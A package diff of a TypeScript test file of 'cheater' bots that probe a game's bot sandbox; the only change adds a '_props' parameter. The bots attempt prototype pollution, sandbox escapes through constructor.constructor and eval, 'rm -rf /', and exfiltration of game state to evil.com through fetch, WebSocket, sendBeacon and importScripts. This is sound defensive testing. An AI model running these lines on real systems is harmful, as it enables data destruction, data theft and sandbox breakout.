@vibemancer/core 0.1.0 → 0.1.2

package/src/bots/test/cheater.ts

@@ -1,405 +1,405 @@
-/* eslint-disable @typescript-eslint/no-unsafe-type-assertion, @typescript-eslint/no-explicit-any, @typescript-eslint/explicit-function-return-type, @typescript-eslint/no-unused-expressions */
-/**
- * CHEATER TEST BOTS
- *
- * These bots attempt various exploit techniques to test sandbox safety.
- * They are NOT registered in ALL_BOTS — test-only.
- *
- * Each variant targets a different attack vector:
- * - CheaterPrototypePollution: modifies built-in prototypes
- * - CheaterStateCorruption: tries to mutate the game state
- * - CheaterNodeAccess: tries to access Node.js APIs
- * - CheaterSandboxEscape: tries to break out of the sandbox
- * - CheaterNetworkIO: tries fetch, XMLHttpRequest, WebSocket, EventSource
- * - CheaterScriptInjection: tries importScripts, Worker, SharedWorker, dynamic import
- * - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
- */
-
-import type {WizardFunction} from '../../types.js';
-
-/**
- * Attempts to modify built-in prototypes to sabotage the other bot.
- * With prototype freezing enabled, these assignments should silently fail
- * (or throw in strict mode), and the match should proceed normally.
- */
-export const CheaterPrototypePollution: WizardFunction = () => 
-{
-	try 
-	{
-		// Try to sabotage Array methods used by the other bot
-		(Array.prototype as any).map = () => [];
-		(Array.prototype as any).filter = () => [];
-		(Array.prototype as any).find = () => undefined;
-
-		// Try to sabotage Object
-		(Object.prototype as any).position = {x: 0, y: 0};
-		(Object.prototype as any).health = 0;
-
-		// Try to sabotage Math functions used by combat calculations
-		(Math as any).sqrt = () => 0;
-		(Math as any).atan2 = () => 0;
-	}
-	catch 
-	{
-		// Frozen prototypes will throw in strict mode — that's expected
-	}
-
-	return {move: {x: 0, y: 0}};
-};
-
-/**
- * Attempts to mutate the game state object passed to it, hoping to corrupt
- * the simulation. With proper state views (copies), mutations should have
- * no effect on the actual simulation state.
- */
-export const CheaterStateCorruption: WizardFunction = ({state}) => 
-{
-	try 
-	{
-		// Try to give ourselves infinite health
-		(state as any).health = 999999;
-		(state as any).maxHealth = 999999;
-
-		// Try to kill enemies by modifying their state
-		for (const enemy of state.enemies) 
-		{
-			(enemy as any).health = 0;
-			(enemy as any).position = {x: -9999, y: -9999};
-		}
-
-		// Try to delete all enemy projectiles
-		for (const proj of state.projectiles) 
-		{
-			(proj as any).damage = 0;
-			(proj as any).remainingTicks = 0;
-		}
-
-		// Try to modify the position directly
-		state.position.x = 400;
-		state.position.y = 400;
-	}
-	catch 
-	{
-		// Expected if state is frozen
-	}
-
-	return {move: {x: 0, y: 0}};
-};
-
-/**
- * Attempts to access Node.js APIs that should not be available in the sandbox.
- * With esbuild platform: 'neutral', these should all be undefined or throw.
- */
-export const CheaterNodeAccess: WizardFunction = () => 
-{
-	try 
-	{
-		// Try to access filesystem
-		const fs = (globalThis as any).require?.('fs');
-		fs?.writeFileSync?.('/tmp/hacked', 'pwned');
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	try 
-	{
-		// Try to access process
-		const proc = (globalThis as any).process;
-		proc?.exit?.(1);
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	try 
-	{
-		// Try to spawn child process
-		const cp = (globalThis as any).require?.('child_process');
-		cp?.execSync?.('rm -rf /');
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	try 
-	{
-		// Try to access network
-		const net = (globalThis as any).require?.('net');
-		net?.createConnection?.({host: 'evil.com', port: 80});
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	return {move: {x: 0, y: 0}};
-};
-
-/**
- * Attempts to escape the sandbox using known V8/JavaScript escape techniques.
- * These should all fail within isolated-vm.
- */
-export const CheaterSandboxEscape: WizardFunction = () => 
-{
-	try 
-	{
-		// Classic sandbox escape: constructor.constructor to get Function constructor
-		const fn = {}.constructor.constructor('return this')();
-		// If this works, fn would be the global object outside the sandbox
-		(fn as any)?.process?.exit?.(1);
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	try 
-	{
-		// Try to access the global scope via Function
-		const global = Function('return this')();
-		(global as any)?.process?.exit?.(1);
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	try 
-	{
-		// Try eval-based escape
-		const result = eval('globalThis.process');
-		(result as any)?.exit?.(1);
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	try 
-	{
-		// Try to access import.meta (might leak host info)
-		const meta = import.meta as any;
-		meta?.url; // Should just be undefined or sandboxed
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	return {move: {x: 0, y: 0}};
-};
-
-// ============================================================================
-// IO / NETWORK CHEATER BOTS
-// ============================================================================
-
-/**
- * Attempts to make network requests using every browser IO API.
- * All of these should be blocked by the IO sandbox banner.
- * If any succeeds, it would be a security vulnerability — bot code could
- * exfiltrate game state, load external code, or communicate with C2 servers.
- */
-export const CheaterNetworkIO: WizardFunction = ({state}) => 
-{
-	const g = globalThis as any;
-
-	// --- fetch ---
-	try 
-	{
-		const result = g.fetch?.('https://evil.com/exfil?hp=' + state.health);
-		// If fetch exists and returns a promise, that's a breach
-		if (result && typeof result.then === 'function') 
-		{
-			// Should never reach here
-		}
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	// --- XMLHttpRequest ---
-	try 
-	{
-		const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
-		xhr?.open?.('POST', 'https://evil.com/exfil');
-		xhr?.send?.(
-			JSON.stringify({health: state.health, position: state.position}),
-		);
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	// --- WebSocket ---
-	try 
-	{
-		const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
-		ws?.send?.('connected');
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	// --- EventSource (Server-Sent Events) ---
-	try 
-	{
-		const es = g.EventSource
-			? new g.EventSource('https://evil.com/commands')
-			: null;
-		es?.close?.();
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	// --- navigator.sendBeacon ---
-	try 
-	{
-		g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	return {move: {x: 0, y: 0}};
-};
-
-/**
- * Attempts to inject external scripts or create sub-workers to bypass sandbox.
- * importScripts can load and execute arbitrary JS from any URL.
- * Worker/SharedWorker can spawn new contexts without IO restrictions.
- */
-export const CheaterScriptInjection: WizardFunction = () => 
-{
-	const g = globalThis as any;
-
-	// --- importScripts (Web Worker API: loads & executes external JS) ---
-	try 
-	{
-		g.importScripts?.('https://cdn.evil.com/payload.js');
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	// --- Worker (create sub-worker to bypass restrictions) ---
-	try 
-	{
-		const w = g.Worker
-			? new g.Worker('data:text/javascript,fetch("https://evil.com")')
-			: null;
-		w?.terminate?.();
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	// --- SharedWorker ---
-	try 
-	{
-		const sw = g.SharedWorker
-			? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
-			: null;
-		sw?.port?.close?.();
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	// --- Reconstruct fetch via Request/Response ---
-	try 
-	{
-		const req = g.Request ? new g.Request('https://evil.com/data') : null;
-		if (req) 
-		{
-			// Without fetch, a Request object alone can't send anything,
-			// but verify the constructor is also blocked
-		}
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	return {move: {x: 0, y: 0}};
-};
-
-/**
- * Attempts to use storage and cross-context communication APIs.
- * These could be used to persist data between matches, leak info across
- * tabs, or coordinate with external code.
- */
-export const CheaterStorageAndComms: WizardFunction = () => 
-{
-	const g = globalThis as any;
-
-	// --- BroadcastChannel (cross-tab/worker communication) ---
-	try 
-	{
-		const bc = g.BroadcastChannel
-			? new g.BroadcastChannel('exfil-channel')
-			: null;
-		bc?.postMessage?.('secret data');
-		bc?.close?.();
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	// --- indexedDB (persistent storage) ---
-	try 
-	{
-		const db = g.indexedDB?.open?.('exfil-db', 1);
-		if (db) 
-		{
-			// If indexedDB is available, bot could store/retrieve data across matches
-		}
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	// --- Cache API ---
-	try 
-	{
-		const cache = g.caches?.open?.('exfil-cache');
-		if (cache && typeof cache.then === 'function') 
-		{
-			// Could cache external resources for later use
-		}
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	// --- navigator (various APIs) ---
-	try 
-	{
-		// navigator.clipboard, navigator.geolocation, etc.
-		const nav = g.navigator;
-		nav?.clipboard?.writeText?.('stolen data');
-		nav?.geolocation?.getCurrentPosition?.(() => 
-		{});
-	}
-	catch 
-	{
-		/* expected */
-	}
-
-	return {move: {x: 0, y: 0}};
-};
+/* eslint-disable @typescript-eslint/no-unsafe-type-assertion, @typescript-eslint/no-explicit-any, @typescript-eslint/explicit-function-return-type, @typescript-eslint/no-unused-expressions */
+/**
+ * CHEATER TEST BOTS
+ *
+ * These bots attempt various exploit techniques to test sandbox safety.
+ * They are NOT registered in ALL_BOTS — test-only.
+ *
+ * Each variant targets a different attack vector:
+ * - CheaterPrototypePollution: modifies built-in prototypes
+ * - CheaterStateCorruption: tries to mutate the game state
+ * - CheaterNodeAccess: tries to access Node.js APIs
+ * - CheaterSandboxEscape: tries to break out of the sandbox
+ * - CheaterNetworkIO: tries fetch, XMLHttpRequest, WebSocket, EventSource
+ * - CheaterScriptInjection: tries importScripts, Worker, SharedWorker, dynamic import
+ * - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
+ */
+
+import type {WizardFunction} from '../../types.js';
+
+/**
+ * Attempts to modify built-in prototypes to sabotage the other bot.
+ * With prototype freezing enabled, these assignments should silently fail
+ * (or throw in strict mode), and the match should proceed normally.
+ */
+export const CheaterPrototypePollution: WizardFunction = (_props) => 
+{
+	try 
+	{
+		// Try to sabotage Array methods used by the other bot
+		(Array.prototype as any).map = () => [];
+		(Array.prototype as any).filter = () => [];
+		(Array.prototype as any).find = () => undefined;
+
+		// Try to sabotage Object
+		(Object.prototype as any).position = {x: 0, y: 0};
+		(Object.prototype as any).health = 0;
+
+		// Try to sabotage Math functions used by combat calculations
+		(Math as any).sqrt = () => 0;
+		(Math as any).atan2 = () => 0;
+	}
+	catch 
+	{
+		// Frozen prototypes will throw in strict mode — that's expected
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+/**
+ * Attempts to mutate the game state object passed to it, hoping to corrupt
+ * the simulation. With proper state views (copies), mutations should have
+ * no effect on the actual simulation state.
+ */
+export const CheaterStateCorruption: WizardFunction = ({state}) => 
+{
+	try 
+	{
+		// Try to give ourselves infinite health
+		(state as any).health = 999999;
+		(state as any).maxHealth = 999999;
+
+		// Try to kill enemies by modifying their state
+		for (const enemy of state.enemies) 
+		{
+			(enemy as any).health = 0;
+			(enemy as any).position = {x: -9999, y: -9999};
+		}
+
+		// Try to delete all enemy projectiles
+		for (const proj of state.projectiles) 
+		{
+			(proj as any).damage = 0;
+			(proj as any).remainingTicks = 0;
+		}
+
+		// Try to modify the position directly
+		state.position.x = 400;
+		state.position.y = 400;
+	}
+	catch 
+	{
+		// Expected if state is frozen
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+/**
+ * Attempts to access Node.js APIs that should not be available in the sandbox.
+ * With esbuild platform: 'neutral', these should all be undefined or throw.
+ */
+export const CheaterNodeAccess: WizardFunction = (_props) => 
+{
+	try 
+	{
+		// Try to access filesystem
+		const fs = (globalThis as any).require?.('fs');
+		fs?.writeFileSync?.('/tmp/hacked', 'pwned');
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try to access process
+		const proc = (globalThis as any).process;
+		proc?.exit?.(1);
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try to spawn child process
+		const cp = (globalThis as any).require?.('child_process');
+		cp?.execSync?.('rm -rf /');
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try to access network
+		const net = (globalThis as any).require?.('net');
+		net?.createConnection?.({host: 'evil.com', port: 80});
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+/**
+ * Attempts to escape the sandbox using known V8/JavaScript escape techniques.
+ * These should all fail within isolated-vm.
+ */
+export const CheaterSandboxEscape: WizardFunction = (_props) => 
+{
+	try 
+	{
+		// Classic sandbox escape: constructor.constructor to get Function constructor
+		const fn = {}.constructor.constructor('return this')();
+		// If this works, fn would be the global object outside the sandbox
+		(fn as any)?.process?.exit?.(1);
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try to access the global scope via Function
+		const global = Function('return this')();
+		(global as any)?.process?.exit?.(1);
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try eval-based escape
+		const result = eval('globalThis.process');
+		(result as any)?.exit?.(1);
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try to access import.meta (might leak host info)
+		const meta = import.meta as any;
+		meta?.url; // Should just be undefined or sandboxed
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+// ============================================================================
+// IO / NETWORK CHEATER BOTS
+// ============================================================================
+
+/**
+ * Attempts to make network requests using every browser IO API.
+ * All of these should be blocked by the IO sandbox banner.
+ * If any succeeds, it would be a security vulnerability — bot code could
+ * exfiltrate game state, load external code, or communicate with C2 servers.
+ */
+export const CheaterNetworkIO: WizardFunction = ({state}) => 
+{
+	const g = globalThis as any;
+
+	// --- fetch ---
+	try 
+	{
+		const result = g.fetch?.('https://evil.com/exfil?hp=' + state.health);
+		// If fetch exists and returns a promise, that's a breach
+		if (result && typeof result.then === 'function') 
+		{
+			// Should never reach here
+		}
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- XMLHttpRequest ---
+	try 
+	{
+		const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
+		xhr?.open?.('POST', 'https://evil.com/exfil');
+		xhr?.send?.(
+			JSON.stringify({health: state.health, position: state.position}),
+		);
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- WebSocket ---
+	try 
+	{
+		const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
+		ws?.send?.('connected');
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- EventSource (Server-Sent Events) ---
+	try 
+	{
+		const es = g.EventSource
+			? new g.EventSource('https://evil.com/commands')
+			: null;
+		es?.close?.();
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- navigator.sendBeacon ---
+	try 
+	{
+		g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+/**
+ * Attempts to inject external scripts or create sub-workers to bypass sandbox.
+ * importScripts can load and execute arbitrary JS from any URL.
+ * Worker/SharedWorker can spawn new contexts without IO restrictions.
+ */
+export const CheaterScriptInjection: WizardFunction = (_props) => 
+{
+	const g = globalThis as any;
+
+	// --- importScripts (Web Worker API: loads & executes external JS) ---
+	try 
+	{
+		g.importScripts?.('https://cdn.evil.com/payload.js');
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- Worker (create sub-worker to bypass restrictions) ---
+	try 
+	{
+		const w = g.Worker
+			? new g.Worker('data:text/javascript,fetch("https://evil.com")')
+			: null;
+		w?.terminate?.();
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- SharedWorker ---
+	try 
+	{
+		const sw = g.SharedWorker
+			? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
+			: null;
+		sw?.port?.close?.();
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- Reconstruct fetch via Request/Response ---
+	try 
+	{
+		const req = g.Request ? new g.Request('https://evil.com/data') : null;
+		if (req) 
+		{
+			// Without fetch, a Request object alone can't send anything,
+			// but verify the constructor is also blocked
+		}
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+/**
+ * Attempts to use storage and cross-context communication APIs.
+ * These could be used to persist data between matches, leak info across
+ * tabs, or coordinate with external code.
+ */
+export const CheaterStorageAndComms: WizardFunction = (_props) => 
+{
+	const g = globalThis as any;
+
+	// --- BroadcastChannel (cross-tab/worker communication) ---
+	try 
+	{
+		const bc = g.BroadcastChannel
+			? new g.BroadcastChannel('exfil-channel')
+			: null;
+		bc?.postMessage?.('secret data');
+		bc?.close?.();
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- indexedDB (persistent storage) ---
+	try 
+	{
+		const db = g.indexedDB?.open?.('exfil-db', 1);
+		if (db) 
+		{
+			// If indexedDB is available, bot could store/retrieve data across matches
+		}
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- Cache API ---
+	try 
+	{
+		const cache = g.caches?.open?.('exfil-cache');
+		if (cache && typeof cache.then === 'function') 
+		{
+			// Could cache external resources for later use
+		}
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- navigator (various APIs) ---
+	try 
+	{
+		// navigator.clipboard, navigator.geolocation, etc.
+		const nav = g.navigator;
+		nav?.clipboard?.writeText?.('stolen data');
+		nav?.geolocation?.getCurrentPosition?.(() => 
+		{});
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	return {move: {x: 0, y: 0}};
+};